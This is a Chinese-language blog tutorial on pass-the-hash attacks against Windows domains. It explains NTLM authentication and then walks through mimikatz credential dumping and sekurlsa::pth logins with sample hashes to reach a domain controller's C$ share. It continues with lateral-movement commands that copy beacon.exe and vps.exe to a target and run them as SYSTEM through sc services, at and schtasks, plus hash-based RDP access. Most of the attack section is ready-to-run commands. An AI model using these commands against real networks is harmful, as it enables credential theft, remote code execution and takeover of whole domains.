文章目录
- 哈希传递
- 概念
- LM
- NTLM
- 原理
- 利用
- hash传递 浏览上传文件
- 实操:使用域中的一台机器通过哈希传递查看域控主机的C盘目录
- hash传递获取域控RDP
- hash传递获取域控RDP
哈希传递
概念
早期SMB协议铭文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM
LM
LM不安全,因为能逆向推算回去。
NTLM
NTLM是安全的,因为使用了MD4哈希加密,哈希加密是不可逆的。
证明一个通信协议是否安全:在通信过程中,数据包能被任意的截取和修改,在这种情况下还能实现安全的传输。
原理
哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术,比如NTLM Hash、LM Hash都不需要明文密码,因此都可以被称为Hash传递攻击。
NTLM验证靠HASH值
1.获得一台域主机的权限
2.Dump内存获得用户hash
3.通过pass the hash尝试登录其他主机
4.继续搜集hash并尝试远程登录
5.直到获得域管理员账户hash,登录域控,最终成功控制整个域
解释:
Client:客户端
server: 开了 3389 远程服务
现在实现客户端对3389端口的一个访问
1、 client发送账户名user到server
2、 server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将challenge发送给client
3、 client接收到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密challenge生成response,发送response给server
4、server对比自己内存中的net-ntlm hash与client发来的response是否一致
注意:challenge每次认证都不一样,是一个随机生成的16字节随机数,response的形势与server生成的net-ntlm hash一个格式
通过认证流程我们不难看出,只要有NTLM哈希在手,哪怕不知道明文密码也可以完成NTLM的认证。
利用
hash传递 浏览上传文件
当域内的用户想要访问域中的某个服务时,输入用户名和密码访问,本机kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含:请求的用户名、客户主机名、加密类型和Authenticator(用户NTLM Hash加密的时间戳)以及一些其他信息
在AS-REQ阶段,是用用户密码Hash加密的Authenticator,所以也就造成了hash传递。我们只需要获取域用户Hash,同时目标机器开放smb服务,就可以进行Hash传递攻击。
mimikatz
privilege::debug # 提升权限(注:需以管理员权限运行)
sekurlsa::logonpasswords # 获取内存中保存的登录信息
sekurlsa::pth /user:administrator /domain:yao.com /ntlm:367df24fb9f4383da63664de503724e5
# 弹出新窗口
dir \\192.168.160.23\c$ # 查看域控C盘目录
实操:使用域中的一台机器通过哈希传递查看域控主机的C盘目录
域控主机:192.168.160.23
域内机器:192.168.160.30
条件:域控主机与域内机器的密码相同,也就是密码转换成的NTLM哈希值相同。
使用工具:mimikatz
以管理员身份打开 mimikatz
输入privilege::debug
来提升权限
privilege::debug
解释:
privilege::debug
是Windows系统上的一个命令,它用于提升当前进程的访问权限,使其能够以调试模式执行。
输入sekurlsa:logonpasswords
来获取内存中保存的登录信息
sekurlsa:logonpasswords
解释:
通过该命令列出当前登录用户帐户在系统中保存的明文密码和NTLM哈希。
得到了域内主机密码的NTLM哈希:367df24fb9f4383da63664de503724e5
然后输入
sekurlsa::pth /user:administrator /domain:yao.com /ntlm:367df24fb9f4383da63664de503724e5
解释:
sekurlsa::pth
: 表示使用“pass-the-hash”攻击技术,通过传递哈希值跳过密码验证,从而获取管理员权限。/user:administrator
: 指定要攻击的目标账户为administrator,即攻击目标为该计算机或域控制器的Administrator账户。/domain:yao.com
: 指定域名为yao.com,即攻击目标在yao.com域中。/ntlm:367df24fb9f4383da63664de503724e5
: 指定要使用的NTLM哈希值为367df24fb9f4383da63664de503724e5,用于进行伪造票据攻击。
此时会弹出命令窗口,接着输入dir \\192.168.160.23\c$
查看域控的C盘目录
dir \\192.168.160.23\c$
查看password.txt文件:
type \\192.168.160.23\c$\password.txt
#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$
#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath= "c:\beacon.exe"
#远程查询名为test的服务
sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test
#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤
schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \10.10.10.254\C$\1.txt
#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数:
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com
hash传递获取域控RDP
privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"
hash传递获取域控RDP
privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"
[外链图片转存中…(img-iF9MoEw0-1697598047260)]
如果域控这个位置是灰⾊那就不允许这种⽅式登录,注册表还能挣扎⼀下。